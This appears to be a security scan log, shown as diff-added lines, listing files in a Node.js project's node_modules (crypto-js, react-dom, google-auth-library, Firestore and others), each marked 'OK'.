+/scan/node_modules/supports-preserve-symlinks-flag/.nycrc: OK
+/scan/node_modules/supports-preserve-symlinks-flag/browser.js: OK
+/scan/node_modules/color-convert/route.js: OK
+/scan/node_modules/color-convert/conversions.js: OK
+/scan/node_modules/color-convert/LICENSE: OK
+/scan/node_modules/color-convert/CHANGELOG.md: OK
+/scan/node_modules/color-convert/index.js: OK
+/scan/node_modules/color-convert/README.md: OK
+/scan/node_modules/color-convert/package.json: OK
+/scan/node_modules/path-key/license: OK
+/scan/node_modules/path-key/index.js: OK
+/scan/node_modules/path-key/readme.md: OK
+/scan/node_modules/path-key/package.json: OK
+/scan/node_modules/path-key/index.d.ts: OK
+/scan/node_modules/merge-stream/LICENSE: OK
+/scan/node_modules/merge-stream/index.js: OK
+/scan/node_modules/merge-stream/README.md: OK
+/scan/node_modules/merge-stream/package.json: OK
+/scan/node_modules/eventemitter3/LICENSE: OK
+/scan/node_modules/eventemitter3/umd/eventemitter3.js: OK
+/scan/node_modules/eventemitter3/umd/eventemitter3.min.js: OK
+/scan/node_modules/eventemitter3/umd/eventemitter3.min.js.map: OK
+/scan/node_modules/eventemitter3/index.js: OK
+/scan/node_modules/eventemitter3/README.md: OK
+/scan/node_modules/eventemitter3/package.json: OK
+/scan/node_modules/eventemitter3/index.d.ts: OK
+/scan/node_modules/tinybench/LICENSE: OK
+/scan/node_modules/tinybench/dist/index.d.cts: OK
+/scan/node_modules/tinybench/dist/index.js: OK
+/scan/node_modules/tinybench/dist/index.cjs: OK
+/scan/node_modules/tinybench/dist/index.d.ts: OK
+/scan/node_modules/tinybench/README.md: OK
+/scan/node_modules/tinybench/package.json: OK
+/scan/node_modules/readdirp/LICENSE: OK
+/scan/node_modules/readdirp/index.js: OK
+/scan/node_modules/readdirp/README.md: OK
+/scan/node_modules/readdirp/package.json: OK
+/scan/node_modules/readdirp/index.d.ts: OK
+/scan/node_modules/parseley/LICENSE: OK
+/scan/node_modules/parseley/CHANGELOG.md: OK
+/scan/node_modules/parseley/README.md: OK
+/scan/node_modules/parseley/package.json: OK
+/scan/node_modules/parseley/lib/parseley.mjs: OK
+/scan/node_modules/parseley/lib/parseley.d.ts: OK
+/scan/node_modules/parseley/lib/parseley.cjs: OK
+/scan/node_modules/parseley/lib/parser.d.ts: OK
+/scan/node_modules/parseley/lib/ast.d.ts: OK
+/scan/node_modules/unpipe/LICENSE: OK
+/scan/node_modules/unpipe/HISTORY.md: OK
+/scan/node_modules/unpipe/index.js: OK
+/scan/node_modules/unpipe/README.md: OK
+/scan/node_modules/unpipe/package.json: OK
+/scan/node_modules/brace-expansion/LICENSE: OK
+/scan/node_modules/brace-expansion/index.js: OK
+/scan/node_modules/brace-expansion/README.md: OK
+/scan/node_modules/brace-expansion/package.json: OK
+/scan/node_modules/foreground-child/LICENSE: OK
+/scan/node_modules/foreground-child/dist/esm/all-signals.js: OK
+/scan/node_modules/foreground-child/dist/esm/watchdog.d.ts: OK
+/scan/node_modules/foreground-child/dist/esm/proxy-signals.js.map: OK
+/scan/node_modules/foreground-child/dist/esm/watchdog.d.ts.map: OK
+/scan/node_modules/foreground-child/dist/esm/proxy-signals.d.ts.map: OK
+/scan/node_modules/foreground-child/dist/esm/index.js: OK
+/scan/node_modules/foreground-child/dist/esm/watchdog.js: OK
+/scan/node_modules/foreground-child/dist/esm/all-signals.d.ts.map: OK
+/scan/node_modules/foreground-child/dist/esm/all-signals.d.ts: OK
+/scan/node_modules/foreground-child/dist/esm/package.json: OK
+/scan/node_modules/foreground-child/dist/esm/proxy-signals.d.ts: OK
+/scan/node_modules/foreground-child/dist/esm/index.js.map: OK
+/scan/node_modules/foreground-child/dist/esm/all-signals.js.map: OK
+/scan/node_modules/foreground-child/dist/esm/index.d.ts: OK
+/scan/node_modules/foreground-child/dist/esm/watchdog.js.map: OK
+/scan/node_modules/foreground-child/dist/esm/index.d.ts.map: OK
+/scan/node_modules/foreground-child/dist/esm/proxy-signals.js: OK
+/scan/node_modules/foreground-child/dist/commonjs/all-signals.js: OK
+/scan/node_modules/foreground-child/dist/commonjs/watchdog.d.ts: OK
+/scan/node_modules/foreground-child/dist/commonjs/proxy-signals.js.map: OK
+/scan/node_modules/foreground-child/dist/commonjs/watchdog.d.ts.map: OK
+/scan/node_modules/foreground-child/dist/commonjs/proxy-signals.d.ts.map: OK
+/scan/node_modules/foreground-child/dist/commonjs/index.js: OK
+/scan/node_modules/foreground-child/dist/commonjs/watchdog.js: OK
+/scan/node_modules/foreground-child/dist/commonjs/all-signals.d.ts.map: OK
+/scan/node_modules/foreground-child/dist/commonjs/all-signals.d.ts: OK
+/scan/node_modules/foreground-child/dist/commonjs/package.json: OK
+/scan/node_modules/foreground-child/dist/commonjs/proxy-signals.d.ts: OK
+/scan/node_modules/foreground-child/dist/commonjs/index.js.map: OK
+/scan/node_modules/foreground-child/dist/commonjs/all-signals.js.map: OK
+/scan/node_modules/foreground-child/dist/commonjs/index.d.ts: OK
+/scan/node_modules/foreground-child/dist/commonjs/watchdog.js.map: OK
+/scan/node_modules/foreground-child/dist/commonjs/index.d.ts.map: OK
+/scan/node_modules/foreground-child/dist/commonjs/proxy-signals.js: OK
+/scan/node_modules/foreground-child/README.md: OK
+/scan/node_modules/foreground-child/package.json: OK
+/scan/node_modules/fill-range/LICENSE: OK
+/scan/node_modules/fill-range/index.js: OK
+/scan/node_modules/fill-range/README.md: OK
+/scan/node_modules/fill-range/package.json: OK
+/scan/node_modules/crypto-js/sha1.js: OK
+/scan/node_modules/crypto-js/sha256.js: OK
+/scan/node_modules/crypto-js/enc-utf8.js: OK
+/scan/node_modules/crypto-js/mode-ctr-gladman.js: OK
+/scan/node_modules/crypto-js/enc-latin1.js: OK
+/scan/node_modules/crypto-js/aes.js: OK
+/scan/node_modules/crypto-js/format-hex.js: OK
+/scan/node_modules/crypto-js/sha384.js: OK
+/scan/node_modules/crypto-js/hmac-sha224.js: OK
+/scan/node_modules/crypto-js/tripledes.js: OK
+/scan/node_modules/crypto-js/pad-iso10126.js: OK
+/scan/node_modules/crypto-js/hmac-sha3.js: OK
+/scan/node_modules/crypto-js/mode-ecb.js: OK
+/scan/node_modules/crypto-js/cipher-core.js: OK
+/scan/node_modules/crypto-js/enc-base64.js: OK
+/scan/node_modules/crypto-js/LICENSE: OK
+/scan/node_modules/crypto-js/x64-core.js: OK
+/scan/node_modules/crypto-js/core.js: OK
+/scan/node_modules/crypto-js/crypto-js.js: OK
+/scan/node_modules/crypto-js/pad-iso97971.js: OK
+/scan/node_modules/crypto-js/sha512.js: OK
+/scan/node_modules/crypto-js/mode-cfb.js: OK
+/scan/node_modules/crypto-js/enc-base64url.js: OK
+/scan/node_modules/crypto-js/pad-zeropadding.js: OK
+/scan/node_modules/crypto-js/mode-ofb.js: OK
+/scan/node_modules/crypto-js/enc-hex.js: OK
+/scan/node_modules/crypto-js/index.js: OK
+/scan/node_modules/crypto-js/pad-ansix923.js: OK
+/scan/node_modules/crypto-js/bower.json: OK
+/scan/node_modules/crypto-js/docs/QuickStartGuide.wiki: OK
+/scan/node_modules/crypto-js/hmac-md5.js: OK
+/scan/node_modules/crypto-js/hmac-ripemd160.js: OK
+/scan/node_modules/crypto-js/README.md: OK
+/scan/node_modules/crypto-js/hmac.js: OK
+/scan/node_modules/crypto-js/pad-pkcs7.js: OK
+/scan/node_modules/crypto-js/rabbit.js: OK
+/scan/node_modules/crypto-js/package.json: OK
+/scan/node_modules/crypto-js/CONTRIBUTING.md: OK
+/scan/node_modules/crypto-js/hmac-sha512.js: OK
+/scan/node_modules/crypto-js/md5.js: OK
+/scan/node_modules/crypto-js/pad-nopadding.js: OK
+/scan/node_modules/crypto-js/evpkdf.js: OK
+/scan/node_modules/crypto-js/format-openssl.js: OK
+/scan/node_modules/crypto-js/hmac-sha1.js: OK
+/scan/node_modules/crypto-js/sha3.js: OK
+/scan/node_modules/crypto-js/lib-typedarrays.js: OK
+/scan/node_modules/crypto-js/pbkdf2.js: OK
+/scan/node_modules/crypto-js/blowfish.js: OK
+/scan/node_modules/crypto-js/ripemd160.js: OK
+/scan/node_modules/crypto-js/enc-utf16.js: OK
+/scan/node_modules/crypto-js/hmac-sha256.js: OK
+/scan/node_modules/crypto-js/mode-ctr.js: OK
+/scan/node_modules/crypto-js/rabbit-legacy.js: OK
+/scan/node_modules/crypto-js/hmac-sha384.js: OK
+/scan/node_modules/crypto-js/rc4.js: OK
+/scan/node_modules/crypto-js/sha224.js: OK
+/scan/node_modules/json-stable-stringify-without-jsonify/.npmignore: OK
+/scan/node_modules/json-stable-stringify-without-jsonify/LICENSE: OK
+/scan/node_modules/json-stable-stringify-without-jsonify/test/str.js: OK
+/scan/node_modules/json-stable-stringify-without-jsonify/test/space.js: OK
+/scan/node_modules/json-stable-stringify-without-jsonify/test/nested.js: OK
+/scan/node_modules/json-stable-stringify-without-jsonify/test/replacer.js: OK
+/scan/node_modules/json-stable-stringify-without-jsonify/test/cmp.js: OK
+/scan/node_modules/json-stable-stringify-without-jsonify/test/to-json.js: OK
+/scan/node_modules/json-stable-stringify-without-jsonify/example/key_cmp.js: OK
+/scan/node_modules/json-stable-stringify-without-jsonify/example/str.js: OK
+/scan/node_modules/json-stable-stringify-without-jsonify/example/nested.js: OK
+/scan/node_modules/json-stable-stringify-without-jsonify/example/value_cmp.js: OK
+/scan/node_modules/json-stable-stringify-without-jsonify/index.js: OK
+/scan/node_modules/json-stable-stringify-without-jsonify/readme.markdown: OK
+/scan/node_modules/json-stable-stringify-without-jsonify/package.json: OK
+/scan/node_modules/json-stable-stringify-without-jsonify/.travis.yml: OK
+/scan/node_modules/redis-errors/.npmignore: OK
+/scan/node_modules/redis-errors/LICENSE: OK
+/scan/node_modules/redis-errors/index.js: OK
+/scan/node_modules/redis-errors/README.md: OK
+/scan/node_modules/redis-errors/package.json: OK
+/scan/node_modules/redis-errors/lib/old.js: OK
+/scan/node_modules/redis-errors/lib/modern.js: OK
+/scan/node_modules/binary-extensions/binary-extensions.json: OK
+/scan/node_modules/binary-extensions/license: OK
+/scan/node_modules/binary-extensions/binary-extensions.json.d.ts: OK
+/scan/node_modules/binary-extensions/index.js: OK
+/scan/node_modules/binary-extensions/readme.md: OK
+/scan/node_modules/binary-extensions/package.json: OK
+/scan/node_modules/binary-extensions/index.d.ts: OK
+/scan/node_modules/get-caller-file/LICENSE.md: OK
+/scan/node_modules/get-caller-file/index.js: OK
+/scan/node_modules/get-caller-file/README.md: OK
+/scan/node_modules/get-caller-file/package.json: OK
+/scan/node_modules/get-caller-file/index.js.map: OK
+/scan/node_modules/get-caller-file/index.d.ts: OK
+/scan/node_modules/react-dom/client.js: OK
+/scan/node_modules/react-dom/LICENSE: OK
+/scan/node_modules/react-dom/umd/react-dom-server.browser.development.js: OK
+/scan/node_modules/react-dom/umd/react-dom.production.min.js: OK
+/scan/node_modules/react-dom/umd/react-dom.profiling.min.js: OK
+/scan/node_modules/react-dom/umd/react-dom-server-legacy.browser.production.min.js: OK
+/scan/node_modules/react-dom/umd/react-dom-test-utils.production.min.js: OK
+/scan/node_modules/react-dom/umd/react-dom.development.js: OK
+/scan/node_modules/react-dom/umd/react-dom-server.browser.production.min.js: OK
+/scan/node_modules/react-dom/umd/react-dom-server-legacy.browser.development.js: OK
+/scan/node_modules/react-dom/umd/react-dom-test-utils.development.js: OK
+/scan/node_modules/react-dom/server.js: OK
+/scan/node_modules/react-dom/node_modules/scheduler/unstable_mock.js: OK
+/scan/node_modules/react-dom/node_modules/scheduler/LICENSE: OK
+/scan/node_modules/react-dom/node_modules/scheduler/umd/scheduler-unstable_mock.production.min.js: OK
+/scan/node_modules/react-dom/node_modules/scheduler/umd/scheduler.development.js: OK
+/scan/node_modules/react-dom/node_modules/scheduler/umd/scheduler.production.min.js: OK
+/scan/node_modules/react-dom/node_modules/scheduler/umd/scheduler-unstable_mock.development.js: OK
+/scan/node_modules/react-dom/node_modules/scheduler/umd/scheduler.profiling.min.js: OK
+/scan/node_modules/react-dom/node_modules/scheduler/index.js: OK
+/scan/node_modules/react-dom/node_modules/scheduler/unstable_post_task.js: OK
+/scan/node_modules/react-dom/node_modules/scheduler/README.md: OK
+/scan/node_modules/react-dom/node_modules/scheduler/package.json: OK
+/scan/node_modules/react-dom/node_modules/scheduler/cjs/scheduler-unstable_mock.production.min.js: OK
+/scan/node_modules/react-dom/node_modules/scheduler/cjs/scheduler.development.js: OK
+/scan/node_modules/react-dom/node_modules/scheduler/cjs/scheduler.production.min.js: OK
+/scan/node_modules/react-dom/node_modules/scheduler/cjs/scheduler-unstable_post_task.production.min.js: OK
+/scan/node_modules/react-dom/node_modules/scheduler/cjs/scheduler-unstable_post_task.development.js: OK
+/scan/node_modules/react-dom/node_modules/scheduler/cjs/scheduler-unstable_mock.development.js: OK
+/scan/node_modules/react-dom/server.browser.js: OK
+/scan/node_modules/react-dom/index.js: OK
+/scan/node_modules/react-dom/README.md: OK
+/scan/node_modules/react-dom/package.json: OK
+/scan/node_modules/react-dom/profiling.js: OK
+/scan/node_modules/react-dom/test-utils.js: OK
+/scan/node_modules/react-dom/server.node.js: OK
+/scan/node_modules/react-dom/cjs/react-dom-server.node.production.min.js: OK
+/scan/node_modules/react-dom/cjs/react-dom-server.browser.development.js: OK
+/scan/node_modules/react-dom/cjs/react-dom.production.min.js: OK
+/scan/node_modules/react-dom/cjs/react-dom-server-legacy.node.development.js: OK
+/scan/node_modules/react-dom/cjs/react-dom.profiling.min.js: OK
+/scan/node_modules/react-dom/cjs/react-dom-server-legacy.browser.production.min.js: OK
+/scan/node_modules/react-dom/cjs/react-dom-server.node.development.js: OK
+/scan/node_modules/react-dom/cjs/react-dom-test-utils.production.min.js: OK
+/scan/node_modules/react-dom/cjs/react-dom.development.js: OK
+/scan/node_modules/react-dom/cjs/react-dom-server.browser.production.min.js: OK
+/scan/node_modules/react-dom/cjs/react-dom-server-legacy.node.production.min.js: OK
+/scan/node_modules/react-dom/cjs/react-dom-server-legacy.browser.development.js: OK
+/scan/node_modules/react-dom/cjs/react-dom-test-utils.development.js: OK
+/scan/node_modules/util-deprecate/LICENSE: OK
+/scan/node_modules/util-deprecate/History.md: OK
+/scan/node_modules/util-deprecate/README.md: OK
+/scan/node_modules/util-deprecate/node.js: OK
+/scan/node_modules/util-deprecate/package.json: OK
+/scan/node_modules/util-deprecate/browser.js: OK
+/scan/node_modules/word-wrap/LICENSE: OK
+/scan/node_modules/word-wrap/index.js: OK
+/scan/node_modules/word-wrap/README.md: OK
+/scan/node_modules/word-wrap/package.json: OK
+/scan/node_modules/word-wrap/index.d.ts: OK
+/scan/node_modules/google-auth-library/LICENSE: OK
+/scan/node_modules/google-auth-library/CHANGELOG.md: OK
+/scan/node_modules/google-auth-library/README.md: OK
+/scan/node_modules/google-auth-library/package.json: OK
+/scan/node_modules/google-auth-library/build/src/crypto/crypto.d.ts: OK
+/scan/node_modules/google-auth-library/build/src/crypto/browser/crypto.d.ts: OK
+/scan/node_modules/google-auth-library/build/src/crypto/browser/crypto.js: OK
+/scan/node_modules/google-auth-library/build/src/crypto/crypto.js: OK
+/scan/node_modules/google-auth-library/build/src/crypto/node/crypto.d.ts: OK
+/scan/node_modules/google-auth-library/build/src/crypto/node/crypto.js: OK
+/scan/node_modules/google-auth-library/build/src/util.js: OK
+/scan/node_modules/google-auth-library/build/src/options.d.ts: OK
+/scan/node_modules/google-auth-library/build/src/auth/iam.d.ts: OK
+/scan/node_modules/google-auth-library/build/src/auth/pluggable-auth-handler.d.ts: OK
+/scan/node_modules/google-auth-library/build/src/auth/defaultawssecuritycredentialssupplier.d.ts: OK
+/scan/node_modules/google-auth-library/build/src/auth/jwtaccess.js: OK
+/scan/node_modules/google-auth-library/build/src/auth/externalAccountAuthorizedUserClient.js: OK
+/scan/node_modules/google-auth-library/build/src/auth/impersonated.d.ts: OK
+/scan/node_modules/google-auth-library/build/src/auth/downscopedclient.d.ts: OK
+/scan/node_modules/google-auth-library/build/src/auth/downscopedclient.js: OK
+/scan/node_modules/google-auth-library/build/src/auth/jwtclient.js: OK
+/scan/node_modules/google-auth-library/build/src/auth/envDetect.js: OK
+/scan/node_modules/google-auth-library/build/src/auth/refreshclient.js: OK
+/scan/node_modules/google-auth-library/build/src/auth/externalAccountAuthorizedUserClient.d.ts: OK
+/scan/node_modules/google-auth-library/build/src/auth/loginticket.d.ts: OK
+/scan/node_modules/google-auth-library/build/src/auth/credentials.js: OK
+/scan/node_modules/google-auth-library/build/src/auth/executable-response.d.ts: OK
+/scan/node_modules/google-auth-library/build/src/auth/baseexternalclient.js: OK
+/scan/node_modules/google-auth-library/build/src/auth/defaultawssecuritycredentialssupplier.js: OK
+/scan/node_modules/google-auth-library/build/src/auth/envDetect.d.ts: OK
+/scan/node_modules/google-auth-library/build/src/auth/stscredentials.d.ts: OK
+/scan/node_modules/google-auth-library/build/src/auth/iam.js: OK
+/scan/node_modules/google-auth-library/build/src/auth/externalclient.js: OK
+/scan/node_modules/google-auth-library/build/src/auth/pluggable-auth-client.js: OK
+/scan/node_modules/google-auth-library/build/src/auth/oauth2common.d.ts: OK
+/scan/node_modules/google-auth-library/build/src/auth/oauth2client.js: OK
+/scan/node_modules/google-auth-library/build/src/auth/passthrough.d.ts: OK
+/scan/node_modules/google-auth-library/build/src/auth/identitypoolclient.d.ts: OK
+/scan/node_modules/google-auth-library/build/src/auth/computeclient.d.ts: OK
+/scan/node_modules/google-auth-library/build/src/auth/baseexternalclient.d.ts: OK
+/scan/node_modules/google-auth-library/build/src/auth/passthrough.js: OK
+/scan/node_modules/google-auth-library/build/src/auth/loginticket.js: OK
+/scan/node_modules/google-auth-library/build/src/auth/awsclient.d.ts: OK
+/scan/node_modules/google-auth-library/build/src/auth/googleauth.d.ts: OK
+/scan/node_modules/google-auth-library/build/src/auth/googleauth.js: OK
+/scan/node_modules/google-auth-library/build/src/auth/executable-response.js: OK
+/scan/node_modules/google-auth-library/build/src/auth/authclient.js: OK
+/scan/node_modules/google-auth-library/build/src/auth/awsclient.js: OK
+/scan/node_modules/google-auth-library/build/src/auth/awsrequestsigner.js: OK
+/scan/node_modules/google-auth-library/build/src/auth/pluggable-auth-handler.js: OK
+/scan/node_modules/google-auth-library/build/src/auth/computeclient.js: OK
+/scan/node_modules/google-auth-library/build/src/auth/oauth2common.js: OK
+/scan/node_modules/google-auth-library/build/src/auth/credentials.d.ts: OK
+/scan/node_modules/google-auth-library/build/src/auth/idtokenclient.d.ts: OK
+/scan/node_modules/google-auth-library/build/src/auth/stscredentials.js: OK
+/scan/node_modules/google-auth-library/build/src/auth/urlsubjecttokensupplier.d.ts: OK
+/scan/node_modules/google-auth-library/build/src/auth/jwtclient.d.ts: OK
+/scan/node_modules/google-auth-library/build/src/auth/identitypoolclient.js: OK
+/scan/node_modules/google-auth-library/build/src/auth/filesubjecttokensupplier.d.ts: OK
+/scan/node_modules/google-auth-library/build/src/auth/filesubjecttokensupplier.js: OK
+/scan/node_modules/google-auth-library/build/src/auth/idtokenclient.js: OK
+/scan/node_modules/google-auth-library/build/src/auth/pluggable-auth-client.d.ts: OK
+/scan/node_modules/google-auth-library/build/src/auth/oauth2client.d.ts: OK
+/scan/node_modules/google-auth-library/build/src/auth/urlsubjecttokensupplier.js: OK
+/scan/node_modules/google-auth-library/build/src/auth/impersonated.js: OK
+/scan/node_modules/google-auth-library/build/src/auth/externalclient.d.ts: OK
+/scan/node_modules/google-auth-library/build/src/auth/refreshclient.d.ts: OK
+/scan/node_modules/google-auth-library/build/src/auth/authclient.d.ts: OK
+/scan/node_modules/google-auth-library/build/src/auth/awsrequestsigner.d.ts: OK
+/scan/node_modules/google-auth-library/build/src/auth/jwtaccess.d.ts: OK
+/scan/node_modules/google-auth-library/build/src/options.js: OK
+/scan/node_modules/google-auth-library/build/src/messages.d.ts: OK
+/scan/node_modules/google-auth-library/build/src/index.js: OK
+/scan/node_modules/google-auth-library/build/src/util.d.ts: OK
+/scan/node_modules/google-auth-library/build/src/transporters.d.ts: OK
+/scan/node_modules/google-auth-library/build/src/index.d.ts: OK
+/scan/node_modules/google-auth-library/build/src/transporters.js: OK
+/scan/node_modules/google-auth-library/build/src/messages.js: OK
+/scan/node_modules/path-parse/LICENSE: OK
+/scan/node_modules/path-parse/index.js: OK
+/scan/node_modules/path-parse/README.md: OK
+/scan/node_modules/path-parse/package.json: OK
+/scan/node_modules/has-symbols/LICENSE: OK
+/scan/node_modules/has-symbols/test/shams/get-own-property-symbols.js: OK
+/scan/node_modules/has-symbols/test/shams/core-js.js: OK
+/scan/node_modules/has-symbols/test/index.js: OK
+/scan/node_modules/has-symbols/test/tests.js: OK
+/scan/node_modules/has-symbols/CHANGELOG.md: OK
+/scan/node_modules/has-symbols/.eslintrc: OK
+/scan/node_modules/has-symbols/index.js: OK
+/scan/node_modules/has-symbols/shams.js: OK
+/scan/node_modules/has-symbols/README.md: OK
+/scan/node_modules/has-symbols/package.json: OK
+/scan/node_modules/has-symbols/.github/FUNDING.yml: OK
+/scan/node_modules/has-symbols/tsconfig.json: OK
+/scan/node_modules/has-symbols/.nycrc: OK
+/scan/node_modules/has-symbols/shams.d.ts: OK
+/scan/node_modules/has-symbols/index.d.ts: OK
+/scan/node_modules/otplib/v11.d.ts: OK
+/scan/node_modules/otplib/LICENSE: OK
+/scan/node_modules/otplib/core.js: OK
+/scan/node_modules/otplib/index.js: OK
+/scan/node_modules/otplib/v11.js: OK
+/scan/node_modules/otplib/README.md: OK
+/scan/node_modules/otplib/core.d.ts: OK
+/scan/node_modules/otplib/package.json: OK
+/scan/node_modules/otplib/index.d.ts: OK
+/scan/node_modules/jwks-rsa/LICENSE: OK
+/scan/node_modules/jwks-rsa/README.md: OK
+/scan/node_modules/jwks-rsa/package.json: OK
+/scan/node_modules/jwks-rsa/index.d.ts: OK
+/scan/node_modules/jwks-rsa/src/wrappers/rateLimit.js: OK
+/scan/node_modules/jwks-rsa/src/wrappers/request.js: OK
+/scan/node_modules/jwks-rsa/src/wrappers/cache.js: OK
+/scan/node_modules/jwks-rsa/src/wrappers/index.js: OK
+/scan/node_modules/jwks-rsa/src/wrappers/callbackSupport.js: OK
+/scan/node_modules/jwks-rsa/src/wrappers/interceptor.js: OK
+/scan/node_modules/jwks-rsa/src/index.js: OK
+/scan/node_modules/jwks-rsa/src/integrations/passport.js: OK
+/scan/node_modules/jwks-rsa/src/integrations/config.js: OK
+/scan/node_modules/jwks-rsa/src/integrations/express.js: OK
+/scan/node_modules/jwks-rsa/src/integrations/koa.js: OK
+/scan/node_modules/jwks-rsa/src/integrations/hapi.js: OK
+/scan/node_modules/jwks-rsa/src/JwksClient.js: OK
+/scan/node_modules/jwks-rsa/src/utils.js: OK
+/scan/node_modules/jwks-rsa/src/errors/JwksError.js: OK
+/scan/node_modules/jwks-rsa/src/errors/index.js: OK
+/scan/node_modules/jwks-rsa/src/errors/SigningKeyNotFoundError.js: OK
+/scan/node_modules/jwks-rsa/src/errors/JwksRateLimitError.js: OK
+/scan/node_modules/jwks-rsa/src/errors/ArgumentError.js: OK
+/scan/node_modules/@one-ini/wasm/LICENSE: OK
+/scan/node_modules/@one-ini/wasm/README.md: OK
+/scan/node_modules/@one-ini/wasm/one_ini_bg.wasm: OK
+/scan/node_modules/@one-ini/wasm/package.json: OK
+/scan/node_modules/@one-ini/wasm/one_ini.js: OK
+/scan/node_modules/@one-ini/wasm/one_ini.d.ts: OK
+/scan/node_modules/clsx/clsx.d.mts: OK
+/scan/node_modules/clsx/license: OK
+/scan/node_modules/clsx/dist/clsx.min.js: OK
+/scan/node_modules/clsx/dist/lite.mjs: OK
+/scan/node_modules/clsx/dist/clsx.mjs: OK
+/scan/node_modules/clsx/dist/clsx.js: OK
+/scan/node_modules/clsx/dist/lite.js: OK
+/scan/node_modules/clsx/readme.md: OK
+/scan/node_modules/clsx/package.json: OK
+/scan/node_modules/clsx/clsx.d.ts: OK
+/scan/node_modules/@google-cloud/firestore/types/v1/firestore_admin_client.d.ts: OK
+/scan/node_modules/@google-cloud/firestore/types/v1/firestore_client.d.ts: OK
+/scan/node_modules/@google-cloud/firestore/types/firestore.d.ts: OK
+/scan/node_modules/@google-cloud/firestore/types/protos/firestore_v1_proto_api.d.ts: OK
+/scan/node_modules/@google-cloud/firestore/types/protos/firestore_admin_v1_proto_api.d.ts: OK
+/scan/node_modules/@google-cloud/firestore/types/protos/firestore_v1beta1_proto_api.d.ts: OK
+/scan/node_modules/@google-cloud/firestore/types/v1beta1/firestore_client.d.ts: OK
+/scan/node_modules/@google-cloud/firestore/LICENSE: OK
+/scan/node_modules/@google-cloud/firestore/README.md: OK
+/scan/node_modules/@google-cloud/firestore/package.json: OK
+/scan/node_modules/@google-cloud/firestore/build/protos/admin_v1.json: OK
+/scan/node_modules/@google-cloud/firestore/build/protos/firestore_v1beta1_proto_api.js: OK
+/scan/node_modules/@google-cloud/firestore/build/protos/v1.json: OK
+/scan/node_modules/@google-cloud/firestore/build/protos/firestore_v1_proto_api.d.ts: OK
+/scan/node_modules/@google-cloud/firestore/build/protos/firestore/bundle.proto: OK
+/scan/node_modules/@google-cloud/firestore/build/protos/google/firestore/v1/aggregation_result.proto: OK
+/scan/node_modules/@google-cloud/firestore/build/protos/google/firestore/v1/write.proto: OK
+/scan/node_modules/@google-cloud/firestore/build/protos/google/firestore/v1/bloom_filter.proto: OK
+/scan/node_modules/@google-cloud/firestore/build/protos/google/firestore/v1/document.proto: OK
+/scan/node_modules/@google-cloud/firestore/build/protos/google/firestore/v1/query_profile.proto: OK
+/scan/node_modules/@google-cloud/firestore/build/protos/google/firestore/v1/firestore.proto: OK
+/scan/node_modules/@google-cloud/firestore/build/protos/google/firestore/v1/query.proto: OK
+/scan/node_modules/@google-cloud/firestore/build/protos/google/firestore/v1/common.proto: OK
+/scan/node_modules/@google-cloud/firestore/build/protos/google/firestore/admin/v1/schedule.proto: OK
+/scan/node_modules/@google-cloud/firestore/build/protos/google/firestore/admin/v1/database.proto: OK
+/scan/node_modules/@google-cloud/firestore/build/protos/google/firestore/admin/v1/firestore_admin.proto: OK
+/scan/node_modules/@google-cloud/firestore/build/protos/google/firestore/admin/v1/operation.proto: OK
+/scan/node_modules/@google-cloud/firestore/build/protos/google/firestore/admin/v1/location.proto: OK
+/scan/node_modules/@google-cloud/firestore/build/protos/google/firestore/admin/v1/index.proto: OK
+/scan/node_modules/@google-cloud/firestore/build/protos/google/firestore/admin/v1/backup.proto: OK
+/scan/node_modules/@google-cloud/firestore/build/protos/google/firestore/admin/v1/field.proto: OK
+/scan/node_modules/@google-cloud/firestore/build/protos/google/firestore/v1beta1/write.proto: OK
+/scan/node_modules/@google-cloud/firestore/build/protos/google/firestore/v1beta1/document.proto: OK
+/scan/node_modules/@google-cloud/firestore/build/protos/google/firestore/v1beta1/undeliverable_first_gen_event.proto: OK
+/scan/node_modules/@google-cloud/firestore/build/protos/google/firestore/v1beta1/firestore.proto: OK
+/scan/node_modules/@google-cloud/firestore/build/protos/google/firestore/v1beta1/query.proto: OK
+/scan/node_modules/@google-cloud/firestore/build/protos/google/firestore/v1beta1/common.proto: OK
+/scan/node_modules/@google-cloud/firestore/build/protos/google/longrunning/operations.proto: OK
+/scan/node_modules/@google-cloud/firestore/build/protos/google/type/latlng.proto: OK
+/scan/node_modules/@google-cloud/firestore/build/protos/google/type/dayofweek.proto: OK
+/scan/node_modules/@google-cloud/firestore/build/protos/google/api/client.proto: OK
+/scan/node_modules/@google-cloud/firestore/build/protos/google/api/http.proto: OK
+/scan/node_modules/@google-cloud/firestore/build/protos/google/api/launch_stage.proto: OK
+/scan/node_modules/@google-cloud/firestore/build/protos/google/api/annotations.proto: OK
+/scan/node_modules/@google-cloud/firestore/build/protos/google/api/field_behavior.proto: OK
+/scan/node_modules/@google-cloud/firestore/build/protos/google/api/resource.proto: OK
+/scan/node_modules/@google-cloud/firestore/build/protos/google/rpc/status.proto: OK
+/scan/node_modules/@google-cloud/firestore/build/protos/google/protobuf/timestamp.proto: OK
+/scan/node_modules/@google-cloud/firestore/build/protos/google/protobuf/field_mask.proto: OK
+/scan/node_modules/@google-cloud/firestore/build/protos/google/protobuf/duration.proto: OK
+/scan/node_modules/@google-cloud/firestore/build/protos/google/protobuf/struct.proto: OK
+/scan/node_modules/@google-cloud/firestore/build/protos/google/protobuf/wrappers.proto: OK
+/scan/node_modules/@google-cloud/firestore/build/protos/google/protobuf/any.proto: OK
+/scan/node_modules/@google-cloud/firestore/build/protos/google/protobuf/empty.proto: OK
+/scan/node_modules/@google-cloud/firestore/build/protos/google/protobuf/descriptor.proto: OK
+/scan/node_modules/@google-cloud/firestore/build/protos/firestore_admin_v1_proto_api.d.ts: OK
+/scan/node_modules/@google-cloud/firestore/build/protos/firestore_v1beta1_proto_api.d.ts: OK
+/scan/node_modules/@google-cloud/firestore/build/protos/update.sh: OK
+/scan/node_modules/@google-cloud/firestore/build/protos/firestore_v1_proto_api.js: OK
+/scan/node_modules/@google-cloud/firestore/build/protos/v1beta1.json: OK
+/scan/node_modules/@google-cloud/firestore/build/protos/firestore_admin_v1_proto_api.js: OK
+/scan/node_modules/@google-cloud/firestore/build/src/v1/firestore_admin_client.d.ts: OK
+/scan/node_modules/@google-cloud/firestore/build/src/v1/firestore_client.js: OK
+/scan/node_modules/@google-cloud/firestore/build/src/v1/index.js: OK
+/scan/node_modules/@google-cloud/firestore/build/src/v1/firestore_admin_client_config.json: OK
+/scan/node_modules/@google-cloud/firestore/build/src/v1/gapic_metadata.json: OK
+/scan/node_modules/@google-cloud/firestore/build/src/v1/firestore_client.d.ts: OK
+/scan/node_modules/@google-cloud/firestore/build/src/v1/firestore_admin_proto_list.json: OK
